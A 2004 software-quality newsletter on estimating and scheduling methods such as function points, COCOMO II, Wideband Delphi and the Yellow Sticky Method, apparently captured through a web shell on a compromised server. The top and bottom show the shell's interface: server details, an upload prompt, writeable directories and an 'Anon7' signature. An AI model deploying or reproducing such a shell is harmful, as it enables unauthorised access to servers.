KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/srakitin/OLD/newsletter/vol1/no2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/srakitin/OLD/newsletter/vol1/no2/vol1no2.txt
Food for Thought: Estimating and Scheduling - Do You Believe in Magic?
An e-newsletter published by Software Quality Consulting, Inc.
October 2004, Vol. 1 No. 2 

To view a web version of this newsletter, click on the following link:
http://www.swqual.com/newsletter/vol1/no2/vol1no2.html.

--------------------------------------------------------------------------

Welcome to Food for Thought(TM), an e-newsletter from Software Quality 
Consulting (http://www.swqual.com). I've created free subscriptions for my
valued business contacts. If you find this newsletter informative, I encourage
you to continue reading. Feel free to pass this newsletter along to colleagues
by clicking the Forward Email link at the bottom of this page. If you've 
received this newsletter from a colleague and would like to subscribe, 
please click this New Subscription link (http://www.swqual.com/newsletter/Subscribe.htm).
If you don't wish to receive this newsletter, click the SafeUnSubscribe(TM)
at the bottom of this page, and you won't be bothered again.

Feedback from last month's edition was very positive and encouraging. Your 
feedback is most welcome. Please send your comments and suggestions to 
[email protected].

----------------------------------------------------------------------------

***In This Issue***

Last month (http://www.swqual.com/newsletter/vol1/no1/vol1no1.html), we discussed
the importance of having well-written, unambiguous requirements. This month, we'll
continue that theme by discussing why requirements are essential for creating
accurate estimates and building realistic schedules.

Regular features to look for each month are: 

- Monthly Morsel: Hints, tips, techniques and reference info related to 
  this month's topic

- Calendar: Conferences, workshops, and meetings of interest to software 
  engineers, QA engineers and anyone interested in software development. 

-------------------------------------------------------------------------------

***This Month's Topic***

Estimating and Scheduling - Do You Believe in Magic?

   "Industry surveys from organizations such as the Standish Group, as well 
   as statistical data [...] suggest that the average [software] project is 
   likely to be 6-12 months behind schedule and 50-100 percent over 
   budget."

   Yourdon, E., Death March: The Complete Software Developer's Guide to 
   Surviving 'Mission Impossible' Projects, Prentice-Hall, 1997.


The ability of an organization to accurately estimate software tasks, 
build realistic schedules, and then meet those schedules is critical. Yet 
few organizations have been able to do this consistently. As a result, 
many organizations have little or no credibility when it comes to 
estimating and scheduling. There are many reasons why organizations 
perform poorly in this area. Some of the most common reasons include lack 
of training, inability to manage commitments made to customers, poorly 
written or non-existent requirements, and lack of management will. I've 
often observed projects where management didn't want to hear what it would 
really take to develop the product - they actually chose, as Watts 
Humphrey said, "to believe in magic" rather than reality.
This article presents several examples of estimating and scheduling 
techniques that can help you develop better estimates and more realistic 
schedules...

Why are estimates and schedules wrong most of the time? 
From participating in and observing dozens of projects at dozens of 
organizations, I've identified several factors that lead to inaccurate 
estimates and unrealistic schedules: 

- We play ridiculous negotiating games

  Project managers typically find themselves in a position where they must 
  "negotiate" a schedule with Management. Often, this negotiation occurs 
  before the requirements are known and is based on unrealistic 
  expectations...


- We over-commit and under-deliver

  Many organizations fail to manage commitments made to customers and 
  frequently over-commit. When an organization over-commits, it can't 
  deliver what was promised when it was promised. Over-committing is a 
  behavior exhibited by many companies and always results in 
  under-delivering. 
  
- Projects start with a pre-determined release date

  All too often, projects begin with pre-determined release dates that 
  have been communicated to customers. Release dates are often set before 
  requirements are defined. 

- Tasks are estimated based on time available rather than time required

  Once the release date is set, the project manager must schedule 
  backwards - start from the release date and work backwards to today. 
  When this happens, tasks are estimated based on how much time is 
  available rather than how much time a task actually requires. This 
  always results in inaccurate task estimates and unrealistic schedules. 

- Task interdependencies are not identified

  Anyone who has ever worked on a software development project understands 
  the importance of identifying the interdependencies between tasks. But 
  we frequently do not factor these interdependencies into our schedules. 

- Unexpected things that always happen are ignored

  On every software project unexpected things happen. For example:

  - the requirements WILL change 
  - key member(s) of the project team will leave 
  - key assumptions about the product/project prove wrong 
  - training for new tools/technology not provided 
  - dependencies arise that were previously unknown or ignored 
  - key resource(s) are pulled off to fight most recent "fire" 
  
  Pretending unexpected things won't happen, results in unrealistic 
  schedules. 

Now that we have explored some of the reasons estimates and schedules are 
wrong, let's look at what we can do to improve...

Step One - Develop Accurate Estimates 

Accurately estimating software tasks is critical to developing realistic 
schedules. Coming up with consistently accurate estimates requires 
experience, discipline and information. 

- Experience. Accurate estimates are derived from past performance. There 
  is no substitute for experience. The best way to improve estimating 
  skills is to make estimates, do the work, and then compare the actual 
  time to the estimates and reconcile the difference.

- Discipline. Like most complex tasks, estimating requires discipline - 
  following a proven process. Without discipline, estimating becomes 
  nothing more than a guessing game.

- Information. Since past performance is the most accurate predictor of 
  future behavior, organizations need to collect, maintain, and utilize 
  estimates and actuals from past projects. This information is invaluable 
  in developing accurate estimates for new projects. 

Developing accurate estimates is hard work that requires experienced 
people who have the discipline to follow a proven estimation process. It 
also requires support from management. 

  Estimating Techniques

  There are several widely used techniques for accurately estimating 
  either the size or cost of software projects. We'll discuss a few of 
  them:

  - Function Points and Feature Points 
  - Constructive Cost Model - COCOMO II 
  - Wideband Delphi Method

  Function Points and Feature Points 

  Function points are a way for estimating how big a software product will 
  be based on functionality from the user's perspective. Function points 
  were developed initially for information systems. The feature point 
  extension applies a similar method for other types of software, such as 
  real-time software, embedded software, communications software, etc.
  Once function points are counted for a proposed system, an extensive 
  body of empirical data can be used to relate function points to 
  productivity and size of the product. Capers Jones also claims that 
  function points can be useful for such things as normalizing defect data 
  and estimating tests required and number of test runs.

  Learn More... (http://www.ifpug.org/)


  COCOMO II 

  COCOMO II is a mathematical modeling and estimation tool that helps 
  estimate the cost, effort, and schedule of a software development 
  activity. The original COCOMO model was developed by Dr. Barry Boehm. 
  COCOMO II reflects numerous changes in software development that have 
  occurred since the publication of the original model in 1981.
  The first version of the COCOMO II tool was released in 1997 and was 
  calibrated to 83 data points that represent historical software 
  development projects, using a 10% weighted average approach that blends 
  empirical data with expert opinion.

  Experience with COCOMO has shown that if an organization calibrates the 
  model to its own empirical data, the accuracy of the results can be 
  greatly improved over the generic calibration described above.

  Learn more... (http://sunset.usc.edu/research/COCOMOII/cocomo_main.html)

  Wideband Delphi Method 

  This technique is useful for estimating attributes of complex tasks done 
  for the first time, such as incorporating new technology into a product. 
  This method helps improve the accuracy of estimates because: 

  - It requires several experienced people estimate the same task 
  - It requires that a detailed breakdown of the work be prepared 
  - It is an iterative process based on consensus 

  Given a task to estimate, several experienced engineers are each asked 
  to estimate the task as if they were going to do the work themselves. 
  The group is then brought together and each individual estimate is 
  plotted on a graph. At this point, the variance between the estimates is 
  usually large. This variance is often due to the fact that individuals 
  may not have made the same set of assumptions. The assumptions each 
  person made is then listed, discussed, and agreed to. 
  Once this happens, the group refines their estimates using the agreed to 
  assumptions. Variance of the second estimate is much smaller. After two 
  or three iterations, the estimate becomes more and more refined and 
  accurate.

  Learn More... (http://www.processimpact.com/articles/delphi.pdf)


Step Two - Build Realistic Schedules 

Management often doesn't want a realistic schedule but rather, one that 
fits some expectation. Since many organizations operate with a culture 
that encourages the business to over-commit and under-deliver, it should 
come as no surprise that the main reason we often don't have realistic 
schedules is because management doesn't want them.

Businesses that value accurate, realistic schedules have them. Most 
companies today have the ability to develop such schedules, but are rarely 
required to. 

  Scheduling Techniques 

  The follow are some examples of effective scheduling techniques: 

  - Program Evaluation and Review Technique (PERT) and Critical Path 
    Method (CPM) 
  - Critical Chain Planning 
  - Yellow Sticky Method 

  PERT and CPM 

  Most of us are familiar with PERT and CPM charts for software projects. 
  At one time or another, anyone who has managed software projects has had 
  to create schedules using these tools.
  An important point to note about PERT and CPM is that they are a means 
  not an end. They all depend on people creating information based on 
  their knowledge of the project and the tasks. The tools cannot work 
  without this information. Too often, I've seen project managers start 
  out on a new project by creating PERT and CPM charts before any one has 
  had a chance to identify and estimate the tasks. The techniques of 
  estimation described earlier must precede the creation of PERT and/or 
  CPM charts. Before creating a PERT or CPM chart, the following 
  information must be created:

  - Decomposition of product function 
  - Identification of all tasks required to be performed 
  - Estimates of effort for each task 
  - Interdependencies between tasks 
  -  Assignment of specific resources to tasks 
  
  Once this information is available, building schedules using either PERT 
  or CPM tools can begin.

  Critical Chain Planning 

  Most projects have some degree of uncertainty associated with them. The 
  Critical Chain Planning method, an outgrowth of the Theory of 
  Constraints, attempts to address uncertainty by focusing on identifying 
  and fixing bottlenecks in order to improve the throughput of the overall 
  system. 

  In Critical Chain Planning, uncertainty is primarily managed by (a) 
  using average task duration estimates; (b) scheduling backwards from the 
  date a project is needed (to ensure work that needs to be done is done, 
  and it is done only when needed); (c) placing aggregate buffers in the 
  project plan to protect the entire project and the key tasks; and (d) 
  using buffer management to control the plan. The key tasks are those on 
  which the ultimate duration of the project depends, also known as the 
  Critical Chain.

  Learn more... (http://www.npd-solutions.com/critical.html)

  The Yellow Sticky Method 

  The Yellow Sticky Method helps people develop more accurate, realistic 
  estimates of tasks they themselves will perform. It also includes 
  identification of dependencies between tasks. By starting with more 
  accurate estimates and including task dependencies, it is a rather 
  simple and straightforward process to create a project schedule that is 
  accurate, realistic, and that can actually be met. 

  This method is based on the following simple principles: 

  - Know what you are being asked to deliver - start with requirements. 

  - People who will be doing the work create estimates for the tasks they 
    themselves will do and then help build the schedule. 

  - Project team members critique each other's estimates. 

  - Everyone is held accountable for meeting their commitments. 

  - The organization under-commits. Customers are promised less than what 
    can realistically be delivered. 

  Tasks are identified by members of the Project Team who will be doing 
  the work and are based on the Software Requirements Specification (SRS). 
  The following information is required for each task: 

  - Name - person who will do the task 

  - Task - a brief description of the task 

  - Duration - your estimate of how long it will take you to perform the 
    task, if you could work uninterrupted 

  - Dependencies - work on this task can't begin until dependent tasks are 
    completed 
  
  Once the tasks are identified, the Project Team builds the schedule 
  going forward by using the task dependency information. The process 
  iterates until the Project Team is satisfied that they have built the 
  best possible schedule. 

  Learn more... (http://www.swqual.com/training/yellow.html)

Reality is Better than Magic! 

When it comes to meeting schedules, the track record of our industry is 
pitiful. It's not that we don't know how to do this better, we just choose 
not to. If meeting commitments to your customers is important, look at 
what you do from an estimating and schedule-building perspective. Collect 
information on the accuracy of your estimates. At the end of each project, 
identify those task estimates that differed significantly from the actual 
task duration. Ask why. Do the same with schedules. By reconciling the 
differences between estimates and actuals, your estimating and scheduling 
skills will improve. Basing schedules on reality, no matter how painful, 
is always better than believing in magic. 

---------------------------------------------------------------------------

***Monthly Morsels***

Every month in this space you'll find additional information related to 
this month's topic.

- Books and Articles


  - DeMarco, T., The Deadline: A Novel about Project Management, Dorset 
    House, 1997

    Tom Demarco's great story based on many real-life events.


  - Yourdon, E., Death March: The Complete Software Developer's Guide to 
    Surviving 'Mission Impossible' Projects, Prentice-Hall, 1997.

    Yourdon's classic provides recommendations for how to survive in an 
    organization that places more faith in magic than in reality.


  - Rakitin, S., Software Verification and Validation for Practitioners 
    and Managers, 2nd edition, Artech House, 2001.
    (http://www.swqual.com/book/summary.html)

    Chapters 12-14 contain a discussion of issues related to project 
    estimating and scheduling, including the Yellow Sticky Method and 
    Wideband Delphi.

  - Rakitin, S., "Creating Accurate Estimates and Realistic Schedules from 
    Software Requirements", ASQ Software Quality Professional, March 2002.
    (http://www.swqual.com/book/creating.pdf)

    A brief article that provides an overview of the Yellow Sticky Method.


- Function Points and Feature Points

  The International Function Point User Group (http://www.ifpug.org/) publishes
  function point counting rules and offers counting certification exams. The web 
  site also lists many Function Point references.

  For information on Feature Points see:

  Jones, C., Applied Software Measurement, McGraw-Hill, 1991.

  For Function Point Training, contact Carol Dekkers at Quality Plus 
  Technologies (http://www.qualityplustech.com/home.html).
 
- Critical Chain Planning

  Goldratt, E., Critical Chain, North River Press, 1997

  Written as a novel, this book contains powerful yet simple techniques to 
  solve project management's toughest problems.

  Goldratt, E., Theory of Constraints, North River Press, 1999

  This book walks you through the crucial stages of a continuous program: 
  the five steps of focusing; the process of change; how to prove 
  effect-cause-effect; and how to invent simple solutions to complex 
  problems.

  Additional information on Critical Chain Planning:

  - Advanced Projects, Inc. (http://www.advanced-projects.com/) 
  - Pro-chain Solutions, Inc. (http://www.prochain.com/index.asp)

---------------------------------------------------------------------------

***Cakendar***

Every month, you'll find news here about local and national events that 
are of interest to the software community ... 

- Software Quality Calendar

  There are many organizations that sponsor monthly meetings, workshops, 
  and conferences. Find out what's happening ...
  (http://www.swqual.com/links/upcoming.html)

- Public Workshops Offered by IEEE Boston Section

  Are you interested in a workshop or short course on cutting edge topics? 
  Learn more...
  (http://www.ieeeboston.org/)

- Workshops Offered by Software Quality Consulting

  Software Quality Consulting offers workshops in many topics related to 
  software development and software quality. Get more info...
  (http://www.swqual.com/seminars/courses.html)

If you know of an organization or event that isn't listed here and would 
be of general interest, please send me an e-mail with the details... 
   
--------------------------------------------------------------------------

***About SQC***

Software Quality Consulting provides consulting, training, and auditing 
services tailored to meet the specific needs of our clients. We help you 
fine-tune your software development processes and improve the quality of 
your software. Our overall goal is to help you achieve Predictable 
Software Development(TM) - so that you can consistently deliver quality 
software with promised features in the promised timeframe. To learn more 
about us and how we can help your organization, visit our web site or send 
us an email. 
 
I hope this newsletter has been informative and helpful. Your comments and 
feedback are most welcome. 

- If you're estimation or scheduling techniques produce accurate estimates 
  and realistic schedules and are willing to share your experience, please 
  send me the details and I will include this information in a future 
  newsletter... 
- Send me your feedback... 

Thanks,

Steve Rakitin
[email protected]

Food for Thought and Predictable Software Development are trademarks of Software 
Quality Consulting, Inc. 
Copyright (c) 2004. Software Quality Consulting, Inc. All rights reserved. Graphic 
design by Sage Studio

Anon7 - 2021